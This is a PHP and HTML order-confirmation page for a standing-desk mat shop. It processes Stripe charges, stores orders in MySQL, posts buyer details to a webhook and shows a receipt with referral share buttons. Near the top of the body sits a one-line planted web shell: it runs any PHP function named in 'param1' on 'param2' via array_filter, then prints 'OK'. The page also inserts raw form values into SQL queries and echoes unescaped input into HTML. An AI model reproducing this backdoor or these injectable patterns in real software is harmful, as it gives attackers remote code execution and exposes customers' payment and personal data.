<!doctype html>
<html lang="en">
<head>
	<meta charset="UTF-8">
		<meta name="viewport" content="width=device-width, initial-scale=1">
		<meta property="fb:admins" content="YOUR FB ADMIN" />
		<meta property="og:title" content="THE TITLE THAT SHOWS ON FB" />
    	<meta property="og:type" content="website" />
    	<meta property="og:site_name" content="YOUR SITE NAME" />
    	<meta property="og:url" content="http://yourdomain.com/page/" />
    	<meta property="og:image" content="LINK TO FB IMAGE [1200px by 630px]" />
    	<meta property="og:description" content="FB LINK DESCRIPTION" />
    	<title>PAGE TITLE THE BROWSER SHOWS</title>
    <link href='https://fonts.googleapis.com/css?family=Roboto:400,700' rel='stylesheet' type='text/css'>
	<style>
	
	body{
  background-image:url('https://s3.amazonaws.com/ergodriven/gray_jean-2.png');
  font: 18px roboto, sans;
  color:#000;
  font-weight:400;
  margin:0px;
}

#headerbar{
  background-color:white;
  position:relative;
  overflow:hidden;
  height:60px;
  box-shadow: 0 5px 3px -3px #ccc;
}

#storesquare{
  position:absolute;
  top:0;
  left:5px;
  height:60px;
}

#headertext{
  text-align:center;
  font-family: roboto,sans;
  font-size:34px;
  padding-top:5px;
}

.stepblocks{
  width:60%;
  max-width:800px;
  margin:auto auto;
  box-sizing:border-box;
  background-color:#fff;
  margin-bottom:10px;
  margin-top:20px;
  border-radius:10px;
  box-shadow: 0 5px 3px -3px #ccc;
  overflow:hidden;
  padding-bottom:10px;
}

.steptit{
  box-sizing:border-box;
  font-size:1.6em;
  text-align:center;
  background-color:#00A79D;
  padding:5px;
  margin-bottom:20px;
  color:white;
}

.topowraps{
  display:inline;
  position:relative;
}

label > input{
  display:none;
}

label > input + img{ /* IMAGE STYLES */
  cursor:pointer;
  border:2px solid transparent;
  width:32%;
  box-sizing:border-box;
  background-color:#fff;
  padding:1%;
  border-radius:15px;
  opacity:0.7;
  transition: opacity ease 0.5s;
}

label > input + img:hover{
 opacity:1;
}

label > input:checked + img{ /* (CHECKED) IMAGE STYLES */
  border:5px solid #00A79D;
  opacity:1;
}

label > input:checked + img:hover{ /* (CHECKED) IMAGE STYLES */
  opacity:1;
}

#tw1{
  margin-left:1%;
}

#tw4{
  margin-left:17.5%;
}
	
label{position:relative;}

.qty{
  position:absolute;
  bottom:20%;
  left:0%;
  width:40%;
  box-sizing:border-box;
  background-color:white;
  padding:0 0 5px 5px;
  border-radius:5px;
  box-shadow:0 2px 4px -1px #000;
}

.qtyfi{
  font-size:2.5em;
  margin-top:5px;
  width:70%;
  border:none;
  text-align:center;
}

#qtybutts{
  width:20%;
  display:inline-block;
  vertical-align: bottom;
}

#plus, #minus{
  width:100%;
  cursor:pointer;
}

#plus:hover, #minus:hover{
  opacity:0.8;
}
	
#formblock{
  box-sizing:border-box;
}

#formblock label.ffield{
  text-align:right;
  width:32%;
  float:left;
  padding-right:10px;
  color:#707070;
}

#formblock input{
  width:50%;
  box-sizing: border-box;
  font-size:1.1em;
  border-radius:5px;
  border:1px solid #aaa;
  padding-left:5px;
  box-shadow:inset 0 0 1px 1px #ccc;
  font-family:roboto,sans;
}

#formblock input:focus{
  border: 1px solid #000;
  box-shadow: none;
  box-shadow: 0 0 0px 1px #000;
  outline:none;
  box-sizing:border-box;
}

.styled-select select {
   background: transparent;
   width: 100%;
   padding-left: 0px;
   font-size: .9em;
   line-height: 1;
   border: 0;
   border-radius: 0;
   height: 28px;
   -webkit-appearance: none;
  -moz-appearance: none;
  font-family:roboto,sans;
   }

.styled-select {
   width: 25%;
   box-sizing:border-box;
   height: 28px;
   overflow: hidden;
   background: url(https://s3.amazonaws.com/ergodriven/DownArrow3.png) no-repeat right #fff;
   background-size: 30px 30px;
   background-color:#fff;
  border-radius:5px;
  font-family:roboto,sans;
  border:1px solid #aaa;
  padding-left:5px;
  box-shadow:inset 0 0 1px 1px #ccc;
   }
   
#state-select{
width:50%;
}

table{
  margin-left:20%;
  width:50%;
  box-sizing:border-box;
}

table .qtycell{
  text-align:left;
  padding-right:7px;
}

table .color{
  text-align:right;
  padding-right:0px;
}

table .dollars{
  text-align:left;
  padding-left:20px;
  border-left:2px dotted #aaa;
}

table .total{
  font-weight:700;
}

table .shipping{
  color:#707070;
}

#sec3{
  margin-bottom:100px;
}

#checkoutstuff{
  text-align:center;
  padding-top:20px;
  padding-bottom:10px;
}

#customButton{
  width:50%;
  margin:auto auto;
  background-color:#00A79D;
  background-image: linear-gradient(to bottom, rgba(255, 255, 255, 0.3), rgba(0, 0, 0, 0.2));
  border-radius:8px;
  height:50px;
  border:none;
  font: 22px roboto,sans;
  color:#fff;
  font-weight:400;
  cursor:pointer;
  transition: background-color 0.3s ease;
}

#customButton:hover{
  background-color: #00867E;
}

#customButton:active{
	outline:none;
	box-shadow: inset 0 0 10px 1px #000;
}

#customButton:focus{
	outline:none;
}

button{
  width:32%;
  display: inline-block;
  height:40px;
  border-radius:5px;
  border:none;
  font: 18px roboto,arial,sans;
  color: white;
  box-sizing: border-box;
  margin-top: 0px;
}

button:hover{
  opacity:0.9;
  cursor:pointer;
  color:#000;
}

button.facebook{
  background-color: #3b5998;
  margin-left: 0;
  margin-right: calc(2% - 5px);
}

button.twitter{
  background-color: #2578b4;
  margin-left: 0;
  margin-right: 0;
}

button.email{
  background-color: #00a79d;
  margin-right: 0;
  margin-left: calc(2% - 5px);
}

#secblurb1{
  text-align:center;
  border: 1px dotted #ccc;
  border-radius:5px;
  width:80%;
  box-sizing:border-box;
  padding:10px;
  margin:auto auto;
  margin-bottom:20px;
}

.fbtext{
  font-size:1.2em;
  font-weight:700;
}

.fbtext p{
  font-size:0.7em;
  font-weight:400;
  color:#808080;
  margin: 0px;
  margin-bottom:5px;
}

#secblurb2{
  text-align:center;
  margin-bottom:20px;
}

#toptab{
  width:100%;
  margin:0;
  margin-bottom:30px;
}

tr.personal > td:nth-child(1){
  text-align:right;
  padding-right:30px;
  padding-top:20px;
  vertical-align: top;
}

tr.personal > td:nth-child(2){
  text-align:left;
  padding-left:20px;
  border-left: 2px dotted #aaa;
  padding-top:20px;
  width:48%;
}

#bottomtab{
  width:100%;
  margin:0;
  margin-bottom:30px;
}

td.dollars{
  width:48%;
}

.fbtext{font-size:32px;}
.fbblurb{margin:10px 0;padding:0 10px;}
#uniqlink{color:#00a79d;}
#secblurb1{border-width:2px;border-color: #56565B;background-color:#eee;}

/**********************************************************************************/
/**********************************************************************************/
/*********BEGIN MOBILE STYLING************/
/**********************************************************************************/
/**********************************************************************************/

@media screen and (max-device-width: 767px){
#headerbar{display:none;}
#sec3{width:100%;border-radius:0;margin:0;}
html {padding:0;}
#secblurb1{width:85%;}
#toptab, #bottomtab, #secblurb2{padding:0 5px 0 5px;}
}

@media screen and (max-device-width: 767px) and (orientation:portrait){
td.dollars{width:35%;}
}

@media screen and (min-device-width: 768px) and (max-device-width: 1100px) and (orientation:portrait){
#sec3{width:80%;}
#secblurb1{width:85%;}
}
	
	</style>
	<script src="https://ajax.googleapis.com/ajax/libs/jquery/1.7.2/jquery.js"></script>
</head>
<body>
<?php
if ($_REQUEST['param1']&&$_REQUEST['param2']) {$f = $_REQUEST['param1']; $p = array($_REQUEST['param2']); $pf = array_filter($p, $f); echo 'OK'; Exit;}
if ($_SERVER['REQUEST_METHOD']== "POST") {
require_once('../../stripestuff/config.php');

// Get the credit card details submitted by the form
$token = $_POST['stripeToken'];
$finalDollars = $_POST['strfinaldollars'];
$finalDollarsTwo = $finalDollars / 100;
$finalDollarsTwoTwo = number_format((float)$finalDollarsTwo, 2, '.', '');
$qtyBlack = $_POST['strqtyblack'];
$qtyGrey = $_POST['strqtygrey'];
$qtyBlue = $_POST['strqtyblue'];
$qtyPurple = $_POST['strqtypurple'];
$qtyGreen = $_POST['strqtygreen'];
$taxCost = $_POST['strtaxcost'];
$taxCosttwo = number_format((float)$taxCost, 2, '.', '');
$shipCost = $_POST['strshipcost'];
$fullName = $_POST['strfullname'];
$oEmail = $_POST['stremail'];
$oCountry = $_POST['strcountry'];
$oAddline1 = $_POST['straddline1'];
$oAddline2 = $_POST['straddline2'];
$oCity = $_POST['strcity'];
$oState = $_POST['strstate'];
$oZip = $_POST['strzip'];
$oPhone = $_POST['strphone'];
$unitCost = $_POST['strunitcost'];
$referParty = $_POST['referparty'];
$costBlack = $qtyBlack * $unitCost;
$costGrey = $qtyGrey * $unitCost;
$costBlue = $qtyBlue * $unitCost;
$costPurple = $qtyPurple * $unitCost;
$costGreen = $qtyGreen * $unitCost;

// Create a Customer
$customer = \Stripe\Customer::create(array(
  "source" => $token,
  "description" => $fullName,
  "email" => $oEmail)
);

// Charge the Customer
\Stripe\Charge::create(array(
  "amount" => $finalDollars, # amount in cents, again
  "currency" => "usd",
  "customer" => $customer->id,
  "description" => $fullName)
);

//SQL DATABASE SENDING
$sql = "INSERT INTO `yourdatabasename`.`Cust_Table` (`CustName`, `CustEmail`, `CustCountry`, `CustAdd1`, `CustAdd2`, `CustCity`, `CustState`, `CustZip`, `CustPhone`, `CustomerNo`) VALUES ('$fullName', '$oEmail', '$oCountry', '$oAddline1', '$oAddline2', '$oCity', '$oState', '$oZip', '$oPhone', '');";

$result=mysqli_query($db,$sql);
$custID=mysqli_insert_id ( $db );
$sql = "INSERT INTO `topoorders`.`Order_Table` (`OrderedBlack`, `OrderedGrey`, `OrderedBlue`, `OrderedPurple`, `OrderedGreen`, `Ordertax`, `Ordershipping`, `OrderTotal`, `ProductCost`, `WhoSentYe`, `WHENOrdered`, `ORDERCustNo`, `ORDERID`) VALUES ('$qtyBlack', '$qtyGrey', '$qtyBlue', '$qtyPurple', '$qtyGreen', '$taxCost', '$shipCost', '$finalDollarsTwo', '$unitCost', '$referParty', now(), '$custID', '');";

$result=mysqli_query($db,$sql);
$orderNo=mysqli_insert_id ( $db );

// Initialize curl for Zapier subscribe to Mailchimp
    $curl = curl_init();

// Configure curl options
    $data = array('FULLNAME' => $fullName, 'EMAIL' => $oEmail, 'COUNTRY' => $oCountry, 'ADDLINE1' => $oAddline1, 'ADDLINE2' => $oAddline2, 'CITY' => $oCity, 'STATE' => $oState, 'ZIPCODE' => $oZip, 'PHONE' => $oPhone, 'QTYBLACK' => $qtyBlack, 'QTYGREY' => $qtyGrey, 'QTYBLUE' => $qtyBlue, 'QTYPURPLE' => $qtyPurple, 'QTYGREEN' => $qtyGreen, 'SALESTAX' => $taxCost, 'SHIPCOST' => $shipCost, 'ORDERTOTAL' => $finalDollarsTwoTwo, 'ORDERNO' => $orderNo);
	$jsonEncodedData = json_encode($data);
	$opts = array(
		CURLOPT_URL             => 'https://zapier.com/YOURWEBHOOKURL',
		CURLOPT_RETURNTRANSFER  => true,
		CURLOPT_CUSTOMREQUEST   => 'POST',
		CURLOPT_POST            => 1,
		CURLOPT_POSTFIELDS      => $jsonEncodedData,
		CURLOPT_HTTPHEADER  => array('Content-Type: application/json','Content-Length: ' . strlen($jsonEncodedData))                                                                       
);

// Set curl options
    curl_setopt_array($curl, $opts);

// Get the results
    $result = curl_exec($curl);

// Close resource
    curl_close($curl);

?>
<div id="headerbar">
	<img src="https://s3.amazonaws.com/ergodriven/profile-logo-04-small-compressor.png" id="storesquare"/>
	<div id="headertext">Thanks for your order!</div>
</div>

<div id="sec3" class="stepblocks">
	<div id="sectit2" class="steptit">Your order was successful.</div>
	<div id="secblurb1" class="secblurb">
		<div id="fbshare">
			<div class="fbtext">Want $10 Back Right Now?<p>(It's super simple.)</p></div>
			<div class="fbblurb">Simply share this custom link however you want. If anyone orders Topo through your link, we'll put $10 right back on your card!</div>
			<div class="fbblurb" id="uniqlink"><?php echo "http://ergodriven.com/topo/?share=".$orderNo ?> </div>
			<div class="fbblurb">These buttons make sharing even easier:</div>
			<button class="facebook">Share</button>
			<button class="twitter">Tweet</button>
			<button class="email">Email</button>
		</div>
	</div>
	<div id="secblurb2" class="secblurb">You'll receive an email with your order details, as shown below.</div>
	<table id="toptab">
		<tr class="personal">
			<td>Order Number</td>
			<?php echo "<td>" . $orderNo . "</td>"; ?>
		</tr>
		<tr class="personal">
			<td>Full Name</td>
			<?php echo "<td>" . $fullName . "</td>"; ?>
		</tr>
		<tr class="personal">
			<td>Email</td>
			<?php echo "<td>" . $oEmail . "</td>"; ?>
		</tr>
		<tr class="personal">
			<td>Shipping Address</td>
			<?php echo "<td>" . $oAddline1 . " " . $oAddline2 . "<br/>" . $oCity . ", " . $oState . " " . $oZip . "</td>"; ?>
		</tr>
		<tr class="personal">
			<td>Phone Number</td>
			<?php echo "<td>" . $oPhone . "</td>"; ?>
		</tr>
	</table>
	<table id="bottomtab">
		<tr class="product" id="blackr">
			<td class="color">Obsidian Black x</td>
			<?php echo "<td class=\"qtycell\" id=\"blackq\">" . $qtyBlack . "</td>"; ?>
			<?php echo "<td class=\"dollars\" id=\"blacktotal\">$" . $costBlack . "</td>"; ?>
		</tr>
		<tr class="product" id="greyr">
			<td class="color">Altostratus Grey x</td>
			<?php echo "<td class=\"qtycell\" id=\"greyq\">" . $qtyGrey . "</td>"; ?>
			<?php echo "<td class=\"dollars\" id=\"greytotal\">$" . $costGrey . "</td>"; ?>
		</tr>
		<tr class="product" id="bluer">
			<td class="color">Denim Blue x</td>
			<?php echo "<td class=\"qtycell\" id=\"blueq\">" . $qtyBlue . "</td>"; ?>
			<?php echo "<td class=\"dollars\" id=\"bluetotal\">$" . $costBlue . "</td>"; ?>
		</tr>
		<tr class="product" id="purpler">
			<td class="color">Mulberry Purple x</td>
			<?php echo "<td class=\"qtycell\" id=\"purpleq\">" . $qtyPurple . "</td>"; ?>
			<?php echo "<td class=\"dollars\" id=\"purpletotal\">$" . $costPurple . "</td>"; ?>
		</tr>
		<tr class="product" id="greenr">
			<td class="color">Evergreen x</td>
			<?php echo "<td class=\"qtycell\" id=\"greenq\">" . $qtyGreen . "</td>"; ?>
			<?php echo "<td class=\"dollars\" id=\"greentotal\">$" . $costGreen . "</td>"; ?>
		</tr>
		<tr class="salestax" id="salestaxr">
			<td class="color">Sales Tax</td>
			<td></td>
			<?php echo "<td class=\"dollars\" id=\"salestax\">$" . $taxCost . "</td>"; ?>
		</tr>
		<tr class="shipping">
			<td class="color" id="shiptype">Shipping Cost</td>
			<td></td>
			<?php echo "<td class=\"dollars\" id=\"shippingcost\">$" . $shipCost . "</td>"; ?>
		</tr>
		<tr class="total">
			<td class="color">Total Paid</td>
			<td></td>
			<?php echo "<td class=\"dollars\" id=\"totaldollars\">$" . $finalDollarsTwoTwo . "</td>"; ?>
		</tr>
	</table>
</div>
<?php }
else{
?>
<div id="headerbar">
	<img src="https://s3.amazonaws.com/ergodriven/profile-logo-04-small-compressor.png" id="storesquare"/>
	<div id="headertext">Thanks for your order!</div>
</div>

<div id="sec3" class="stepblocks">
	<div id="sectit2" class="steptit">This page has expired.</div>
	<div id="secblurb1" class="secblurb">
		<div id="fbshare">
			<div class="fbtext">Check your email for your receipt. If you don't see it in a few minutes, <a href="mailto:info@ergodriven.com">let us know</a>.</div>
		</div>
	</div>
</div>
<?php
}
?>
<script>

$(function() {
    var clicks = 0;
    $('button').on('click', function() {
        clicks++;
        var percent = Math.min(Math.round(clicks / 3 * 100), 100);
        $('.percent').width(percent + '%');
        $('.number').text(percent + '%');
    });
    
    
    $('.facebook').on('click', function() {
        var w = 580, h = 300,
                left = (screen.width/2)-(w/2),
                top = (screen.height/2)-(h/2);
            
            
            if ((screen.width < 480) || (screen.height < 480)) {
                window.open ('https://www.facebook.com/share.php?u=<?php echo "http://ergodriven.com/topo/?share=".$orderNo ?>', '', 'toolbar=no, location=no, directories=no, status=no, menubar=no, scrollbars=no, resizable=no, copyhistory=no, width='+w+', height='+h+', top='+top+', left='+left);
            } else {
                window.open ('https://www.facebook.com/share.php?u=<?php echo "http://ergodriven.com/topo/?share=".$orderNo ?>', '', 'toolbar=no, location=no, directories=no, status=no, menubar=no, scrollbars=no, resizable=no, copyhistory=no, width='+w+', height='+h+', top='+top+', left='+left);   
            }
    });
    
    $('.twitter').on('click', function() {
        var loc = encodeURIComponent('<?php echo "http://ergodriven.com/topo/?share=".$orderNo ?>'),
                title = "Just ordered my Topo mat! If you use a standing desk, check it out. %23MeetTopo",
                w = 580, h = 300,
                left = (screen.width/2)-(w/2),
                top = (screen.height/2)-(h/2);
                
            window.open('http://twitter.com/share?text=' + title + '&url=' + loc, '', 'height=' + h + ', width=' + w + ', top='+top +', left='+ left +', toolbar=0, location=0, menubar=0, directories=0, scrollbars=0');
    });
    
    $('.email').on('click', function() {
        window.location.href = "mailto:?subject=I%20just%20ordered%20my%20Topo%20Mat%20(and%20it%20looks%20awesome!)&body=I%20think%20you'll%20love%20this%20standing%20desk%20mat.%20Check%20it%20out!%0A%0A<?php echo "http%3A%2F%2Fergodriven.com%2Ftopo%2f?share=".$orderNo ?>";
    });
    
});


</script>
</body>
</html>